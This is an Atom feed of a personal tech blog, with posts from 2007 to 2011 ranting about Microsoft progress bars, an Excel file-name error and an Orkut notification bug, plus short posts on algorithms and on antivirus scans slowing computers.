<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8374703359325566277</id><updated>2011-09-06T23:24:33.364+05:30</updated><category term='Network'/><category term='Unix'/><category term='hibernate'/><category term='Servlets'/><category term='Sticky Bit'/><category term='Microsoft'/><category term='Scheduling'/><category term='orkut'/><category term='JSP'/><category term='bug'/><category term='Applets'/><category term='progressbar'/><category term='link lists'/><category term='hacking'/><category term='sendmail'/><category term='Heuristics'/><category term='Algorithms'/><category term='pointers'/><category term='Netbeans'/><category term='interview'/><category term='stacks'/><category term='problems'/><category term='win7'/><category term='data structures'/><category term='File Permissions'/><category term='Illumination Problem'/><category term='Linux'/><category term='directories'/><category term='IE8'/><category term='Surface Computing'/><category term='sucks'/><category term='Derby'/><category term='conventions'/><category term='naming'/><category term='Optimization'/><category term='.forward'/><category term='Excel'/><title type='text'>Digital Neurons</title><subtitle type='html'>Rekindle your neurons... Buckle-up for the digital apocalypse...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>37</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-2298444786895672633</id><published>2011-04-27T00:14:00.004+05:30</published><updated>2011-04-27T00:26:37.284+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='win7'/><category scheme='http://www.blogger.com/atom/ns#' term='hibernate'/><category scheme='http://www.blogger.com/atom/ns#' term='progressbar'/><title type='text'>Win7 Hibernate... Yet Another Stupidity...</title><content type='html'>Continuing my rant on progress bars and different Microsoft products, this time I want to write about the shiny new Win7's hibernate style. Earlier, when we chose to hibernate our systems, Windows would very decently report the progress of hibernation so that the user was well aware of what was going on and how long would it take for the system to finish hibernating. And yes, this was removed in Win7. Why? &lt;br /&gt;&lt;br /&gt;I am just amazed thinking about what might have been the justification to implement such a feature. You click on "Hibernate" and the screen will instantly black out with the hard-disk access light blinking like crazy for 5 mins and then suddenly your system will turn OFF. You will have no idea as to what the system was doing, whether it was actually hibernating or something just happened to your screen. You won't be able to guess the remaining amount of work or time that it would take for the hibernation to complete.&lt;br /&gt;&lt;br /&gt;Why does Microsoft take such pains hiding meaningful information from the users? Why do they not think before removing a functionality in newer versions and worsen the user experience with every release? It's a mystery really... Same as the feeling I get when I click on hibernate... Mystery!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-2298444786895672633?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/2298444786895672633/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=2298444786895672633' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/2298444786895672633'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/2298444786895672633'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2011/04/win7-hibernate-yet-another-stupidity.html' title='Win7 Hibernate... Yet Another Stupidity...'/><author><name>Amit Saurav</name><uri>http://www.blogger.com/profile/02645444993078783225</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://2.bp.blogspot.com/_w2xxJXJX88g/SM5onlu3zLI/AAAAAAAAAUE/YqQOe2JMl7Y/S220/gtalk_new.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-4599430869369335436</id><published>2009-08-13T09:12:00.002+05:30</published><updated>2009-08-13T09:21:55.253+05:30</updated><title type='text'>And lo! We have the windows updates progress bar!!</title><content type='html'>Continuing my last post about the progress bar of IE8, I just happened to notice the progress bar of Windows Updates in my Vista system. It says 30% remaining but the progress bar has no clue about that and it keeps marqueeing!! I mean, seriously, is it just me?? Whats the whole deal with the progress bars of Microsoft products suddenly? They seem to have lost all knowledge of whats going on!&lt;br /&gt;&lt;br /&gt;I think the progress bar in windows should be renamed, something like &lt;span style="font-style: italic;"&gt;keep-guessing-bar!!&lt;/span&gt; I have reduced being on windows and all these ridiculous itches that windows gives me every now and then, I think I will transition to Linux completely, sooner than I thought.&lt;br /&gt;&lt;br /&gt;May God put some head in the windows progress bars!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-4599430869369335436?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/4599430869369335436/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=4599430869369335436' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/4599430869369335436'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/4599430869369335436'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2009/08/and-lo-we-have-windows-updates-progress.html' title='And lo! We have the windows updates progress bar!!'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-7233593300757963339</id><published>2009-08-08T05:54:00.003+05:30</published><updated>2009-08-08T06:13:55.595+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='progressbar'/><category scheme='http://www.blogger.com/atom/ns#' term='IE8'/><category scheme='http://www.blogger.com/atom/ns#' term='sucks'/><title type='text'>A Tale of the IE8 Installer and the ProgressBar</title><content type='html'>After ignoring it for a long time, I had to install the great IE8 browser today. Not because I wanted to, but because I had to test some of my code on it. Yes I know... I had to do that because most of the people who have little knowledge of computers still use IE.. And some others who do realize that IE is the worst browser that humans ever made, are still forced to use it because some firms don't allow them to install better software... Hmm.. How cool is that!&lt;br /&gt;&lt;br /&gt;Anyways, since I did not want to deprive the helpless IE group from seeing my code run, I had to make sure that it does not cause any weird problems there, which made me install IE8. Well, everything went fine, and I am still "trying" to debug my code there and make it run. However, one thing that caught my attention was the progress bar in the IE8 installer. Right from the time I started installing it, it kept on marqueeing from left to right, until finally the installation was complete. :-?&lt;br /&gt;&lt;br /&gt;Apart from the fact that it looked totally ridiculous to have a progress bar there which tells you nothing about the "progress", I started to wonder, is it not possible for an installer to determine what is the volume of the new content to be copied? Or is it too difficult to find out how much was "installed" and how much is remaining? I mean, typically you can do that, which means, either IE8 does not know the volume of the new content (sounds weird and lame at the same time) or the task to write a proper installer was not done. :P&lt;br /&gt;&lt;br /&gt;In either case, the installer casts a similar impression as the browser itself, which is..... wait for it.... CRAP!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-7233593300757963339?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/7233593300757963339/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=7233593300757963339' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/7233593300757963339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/7233593300757963339'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2009/08/tale-of-ie8-installer-and-progressbar.html' title='A Tale of the IE8 Installer and the ProgressBar'/><author><name>Amit Saurav</name><uri>http://www.blogger.com/profile/02645444993078783225</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://2.bp.blogspot.com/_w2xxJXJX88g/SM5onlu3zLI/AAAAAAAAAUE/YqQOe2JMl7Y/S220/gtalk_new.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-1140358732621658171</id><published>2009-03-05T04:36:00.004+05:30</published><updated>2009-03-05T04:44:44.783+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='orkut'/><category scheme='http://www.blogger.com/atom/ns#' term='bug'/><title type='text'>Now this time its Google!! Come on!</title><content type='html'>I recently found out a more than lame error while using Orkut - Google's networking portal. They have a nice (and common) feature which allows your friends to add comments on your pics. While another feature which probably keeps monitoring updates for all your friends, will notify you if any of your friend receives a comment on his or her pic..&lt;br /&gt;&lt;br /&gt;Turns out that this monitoring and notifying service will notify you that your friend received a comment on &lt;span style="font-weight: bold;"&gt;her&lt;/span&gt; pic irrespective of whether your friend is a male or a female! So, all your friends would be listed as:&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;A&lt;/span&gt; received a comment on &lt;span style="font-weight: bold;"&gt;her&lt;/span&gt; pic!&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;Thats pretty lame, that they missed a simple check for the sex of the person before notifying their updates..!! Come on Google.. That wasn't expected from you!&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-1140358732621658171?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/1140358732621658171/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=1140358732621658171' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1140358732621658171'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1140358732621658171'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2009/03/now-this-time-its-google-come-on.html' title='Now this time its Google!! Come on!'/><author><name>Amit Saurav</name><uri>http://www.blogger.com/profile/02645444993078783225</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://2.bp.blogspot.com/_w2xxJXJX88g/SM5onlu3zLI/AAAAAAAAAUE/YqQOe2JMl7Y/S220/gtalk_new.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-8020153564994610318</id><published>2008-09-15T19:08:00.004+05:30</published><updated>2008-09-15T19:15:33.973+05:30</updated><title type='text'>My First Blogger's Award...! :D</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_1PQEOVDwA1Y/SM5mJXGbjyI/AAAAAAAAABE/gvl-wq2pkko/s1600-h/WebAward.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_1PQEOVDwA1Y/SM5mJXGbjyI/AAAAAAAAABE/gvl-wq2pkko/s400/WebAward.jpg" alt="" id="BLOGGER_PHOTO_ID_5246242926939049762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Thanks a lot &lt;a href="http://anandbora.blogspot.com/"&gt;Anand&lt;/a&gt; for giving me this award. :) This is the first award I've got for blogging and I will try to live up to it by sharing more and more of knowledge out here. Also, I'll pass on this award to my favorite blogs very shortly... So stay tunned.... :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-8020153564994610318?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/8020153564994610318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=8020153564994610318' title='35 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/8020153564994610318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/8020153564994610318'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2008/09/my-first-bloggers-award-d.html' title='My First Blogger&apos;s Award...! :D'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_1PQEOVDwA1Y/SM5mJXGbjyI/AAAAAAAAABE/gvl-wq2pkko/s72-c/WebAward.jpg' height='72' width='72'/><thr:total>35</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-5282835174862238783</id><published>2008-08-15T03:38:00.004+05:30</published><updated>2008-08-15T03:42:21.544+05:30</updated><title type='text'>LAME Again!! Microsoft...</title><content type='html'>&lt;p&gt;When it comes to lame error messages, I always see one while I work on Microsoft's products.. Last week I posted one.. Here is another: :D&lt;/p&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_1PQEOVDwA1Y/SKStdAck89I/AAAAAAAAAA8/zAsea1ae_hs/s1600-h/stupid+microsoft+msg.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_1PQEOVDwA1Y/SKStdAck89I/AAAAAAAAAA8/zAsea1ae_hs/s400/stupid+microsoft+msg.bmp" border="0" alt="" id="BLOGGER_PHOTO_ID_5234499380759032786" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;I got this while I was installing the SP1 for Visual Studio 2005... Lame Again!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-5282835174862238783?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/5282835174862238783/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=5282835174862238783' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/5282835174862238783'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/5282835174862238783'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2008/08/lame-again-microsoft.html' title='LAME Again!! Microsoft...'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_1PQEOVDwA1Y/SKStdAck89I/AAAAAAAAAA8/zAsea1ae_hs/s72-c/stupid+microsoft+msg.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-1261518402541298881</id><published>2008-07-21T21:51:00.004+05:30</published><updated>2008-07-21T22:00:49.444+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Excel'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><title type='text'>Lame Error from Microsoft Excel</title><content type='html'>Now this is what I call LAME (the caps was intended, please don't confuse it with the &lt;a href="http://lame.sourceforge.net/index.php"&gt;LAME Project&lt;/a&gt;.. :D) !! I tried opening two excel files with the same name in Microsoft Excel and look what I get on my face..!!&lt;br /&gt;&lt;br /&gt;&lt;img id="BLOGGER_PHOTO_ID_5225504185516399874" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://2.bp.blogspot.com/_1PQEOVDwA1Y/SIS4Xu4FnQI/AAAAAAAAAAs/qj6fMT_bqik/s400/LAME.JPG" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;This says: &lt;em&gt;"A document with the name 'blah-blah.xls' is already open. You cannot open two documents with the same name, even if the documents are in different folders. To open the second document, either close the document that's currently open, or rename one of the documents."&lt;/em&gt;&lt;/p&gt;&lt;p&gt;WOOAAAGH!!! This is CRAZY!! I mean come on developers!! Can't you add the full path while opening a file?? L..A..M..E.. !!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-1261518402541298881?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/1261518402541298881/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=1261518402541298881' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1261518402541298881'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1261518402541298881'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2008/07/lame-error-from-microsoft-excel.html' title='Lame Error from Microsoft Excel'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_1PQEOVDwA1Y/SIS4Xu4FnQI/AAAAAAAAAAs/qj6fMT_bqik/s72-c/LAME.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-130435153085219736</id><published>2007-10-26T23:07:00.000+05:30</published><updated>2007-11-27T11:38:26.433+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Scheduling'/><category scheme='http://www.blogger.com/atom/ns#' term='Illumination Problem'/><category scheme='http://www.blogger.com/atom/ns#' term='Algorithms'/><title type='text'>Why do I love Algorithms?</title><content type='html'>That is question which is historical and also evolutionary! When I was studying Computer Science in my undergrads, I felt that this was one subject which interested me the most among all the other various subjects under the broad umbrella of Computer Science. But yet, I did not know why... I guess I was yet to experience the apocalypse!&lt;br /&gt;&lt;br /&gt;Currently, I am doing my graduation at a superb university called &lt;a href="http://www.stonybrook.edu/"&gt;Stony Brook University&lt;/a&gt; and I stumbled upon a unique group of people here who claimed themselves to be a part of a group called "&lt;a href="http://www.cs.sunysb.edu/~skiena/652/"&gt;The Algorithm Reading Group&lt;/a&gt;". Sounded like fun to me and so I also became a part of it... Initially it was difficult to keep up to the pace of the discussion that happened everytime we met, and still sometimes its hard for me to match the level of thinking that these great people have, who come here, but the bottom line that I realised just today is, &lt;em&gt;"Why at all do I love Algorithms?!"&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;The question now has to do with Life as whole. What is Algorithm, if you ask me, I would tell you that its a way of living life in a good way... :-) Sounds vague... huh!! I still claim that Algorithms is a subject that tells you how to conquer life!! Man.. thats even more vague... :P Lemme give you an example to make all the obscurities more clear...&lt;br /&gt;&lt;br /&gt;I was sitting in the reading group today and we were discussing a difficult &lt;a href="http://mathworld.wolfram.com/IlluminationProblem.html"&gt;Illumination Problems&lt;/a&gt; which was combined with &lt;a href="http://en.wikipedia.org/wiki/Scheduling_%28computing%29"&gt;Scheduling&lt;/a&gt;. The problem appeared to me as a great example of living life!! Imagine the your were a curator of a Museum and you had various surveillance cameras placed at different places and you had only one viewing screen... How would you schedule all of them so that all the nook and corner of your Museum would be checked without leaving them dark for a long time... Hmmm... seems like a tough task to me... (Even when I am not a curator!!) So eventually we would come up with a good "algorithm" (the word here maybe misleading!!) so that the life of the curator is made easier... I think you all would agree that what we accomplish here after we devise the algorithm is actually how to live our life as a curator!!&lt;br /&gt;&lt;br /&gt;The whole area of algorithms is stuffed with such interesting problems and there even more interesting solutions which necessarily tell you how to live your life if you are put into such a situation... And moreover, who does not want to live his or life in a better way... :D Its like one of those thick books which has the title - &lt;em&gt;"Life - Made Easy!"&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;And thats why I love Algorithms!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-130435153085219736?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/130435153085219736/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=130435153085219736' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/130435153085219736'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/130435153085219736'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/10/why-do-i-love-algorithms.html' title='Why do I love Algorithms?'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-5067865663316218957</id><published>2007-10-14T22:22:00.001+05:30</published><updated>2007-10-14T22:27:13.145+05:30</updated><title type='text'>The Real Story...</title><content type='html'>The real story of an IT company.... (Source: &lt;a href="http://www.linuxkungfu.org/images/fun/geek/project.jpg"&gt;http://www.linuxkungfu.org/images/fun/geek/project.jpg&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_1PQEOVDwA1Y/RxJKKk4B7bI/AAAAAAAAAAc/T4Jcg2PAPI8/s1600-h/project.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5121237271831506354" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_1PQEOVDwA1Y/RxJKKk4B7bI/AAAAAAAAAAc/T4Jcg2PAPI8/s400/project.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://3.bp.blogspot.com/_1PQEOVDwA1Y/RxJJ4U4B7aI/AAAAAAAAAAU/v9_v4fbLh6M/s1600-h/project.jpg"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-5067865663316218957?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/5067865663316218957/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=5067865663316218957' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/5067865663316218957'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/5067865663316218957'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/10/real-story.html' title='The Real Story...'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_1PQEOVDwA1Y/RxJKKk4B7bI/AAAAAAAAAAc/T4Jcg2PAPI8/s72-c/project.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-1295994993238272853</id><published>2007-10-14T22:04:00.000+05:30</published><updated>2007-10-14T22:07:38.954+05:30</updated><title type='text'>I Recommend...</title><content type='html'>There is a great addon for Firefox users called, "Stumble". I recommend this addon to all the young students, professionals who are beginning there career path and who constantly wanna know... "Whats goin on?"!&lt;br /&gt;&lt;br /&gt;One of the links that I found through Stumble is: &lt;a href="http://www.eightprinciples.com/"&gt;http://www.eightprinciples.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It had great learnings in a fun way and instanty pushed me to start working for a better tomorrow... :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-1295994993238272853?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/1295994993238272853/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=1295994993238272853' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1295994993238272853'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1295994993238272853'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/10/i-recommend.html' title='I Recommend...'/><author><name>Jammer</name><uri>http://www.blogger.com/profile/05160101635044245088</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8374703359325566277.post-1746940638377191894</id><published>2007-09-07T06:32:00.000+05:30</published><updated>2007-09-07T08:51:36.981+05:30</updated><title type='text'>BEWARE of Antivirus/Anti-spyware?? Whats that!!</title><content type='html'>Ever wondered why your computer is not as fast as it used to be when you purchased it?? Do you get the feeling that as the days go by, your computer becomes slower and slower? Imagine that you go to the same shop from where you purchased your computer and complain... "My computer gets slower by the day... Tell me a solution..." What does the shopkeeper tell you... "Get a NEW COMPUTER dude... Your computer is ancient!!" or "Replace your RAM..." yet another, "Get a BIG monitor... some HDTV kind of!!".... Huh... You feel like a stupid... What the hell is he saying?? :D&lt;br /&gt;&lt;br /&gt;Now the real point is, almost all of us using a computer over the internet, would make sure that we have the latest definitions for anti-virus dictionaries on our system. We make it a habbit to update our virus definitions regularly. Similar is the case with Anti-Spywares. We keep the definitions of all those software which supposedly "protect" our computer from malicious codes, up-to-date. What could be the downside of such daily ritual?? Hmmm.. thats a tricky question... I mean, you are just making your computer more secure.. right? Keeping it updated with latest definitions. What could be the possible demerits of such a good work?? :D&lt;br /&gt;&lt;br /&gt;Now think if this... Each time you update your definition, your dictionary grows.. Hence, each time your computer is scanned for malicious codes which could match a bigger a dictionary.. This is like a cycle...You update your definitions, hence your dictionary grows, and thus it takes more time for your scan to finish because, obviously it matches on a bigger dictionary... Voila!! You are getting a hint as to why your computer is becoming slower day by day... :D&lt;br /&gt;&lt;br /&gt;If you delved more to the low level organization of a computer then many more factors like SEEK TIME of a hard disk brings down the speed of your computer drastically.. When you have two scans running at the same time, the situation is even worse.. These two scans keep scanning files present on different tracks and sector of the hard disk... So each time a one scan is swapped out of the memory and the other is made active, the head of the hard disks seek to the file which was being scanned before.. And this again is a slow cycle...&lt;br /&gt;&lt;br /&gt;So the moral of the story is... Update your Antivirus/antispyware, cuz you have to.... There is no escaping... But try to schedule all your disc scans at different times... Probably when your computer is idle.. To avoid the time hog that these processes can cause... :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8374703359325566277-1746940638377191894?l=digitalneurons.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalneurons.blogspot.com/feeds/1746940638377191894/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8374703359325566277&amp;postID=1746940638377191894' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1746940638377191894'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8374703359325566277/posts/default/1746940638377191894'/><link rel='alternate' type='text/html' href='http://digitalneurons.blogspot.com/2007/09/beware-of-antivirusanti-spyware-whats.html' title='BEWARE of 